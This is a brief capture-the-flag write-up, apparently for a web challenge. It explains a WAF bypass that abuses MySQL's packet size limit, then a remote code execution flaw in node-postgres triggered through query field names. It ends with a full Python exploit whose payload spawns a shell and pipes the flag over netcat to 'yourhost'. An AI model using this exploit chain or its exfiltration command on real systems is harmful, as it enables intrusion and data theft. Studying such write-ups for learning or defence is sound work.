There was 2 security issues in application:
- WAF stored blocked users IP in mysql database, while application used postgresql database.
The problem is in max_allowed_packet option in my.cnf. Mysql will discard all packets larger than value of this option. So it's possible to bypass WAF using big payload in first argument sent to server.
- Vulnerable postgresql library.
The vulnerability is described here: https://node-postgres.com/announcements#2017-08-12-code-execution-vulnerability. It's possbile to get RCE if you can control the field names of query result. The main problems of exploitation was: there is no require in executeion context and we cant use long payload in field names because of length restrictions. Fortunately there is rowData variable in excution context containg query result rows without any length restrictions.
Final exploit:
import requests
pld = r"""process.binding("spawn_sync").spawn({file: "sh",args: ["sh","-c","/readflag|nc yourhost 1337"],envPairs:["PATH=/bin"],stdio:[]})','1') returning username as "\'/*", password as"\'*/%0a%2beval(rowData[0])]%3dnull//";"""
requests.post('http://13.113.21.59:31337/reg',
data="a=select"+"%ff"*2900000+"&username="+pld+"&password=123456"
)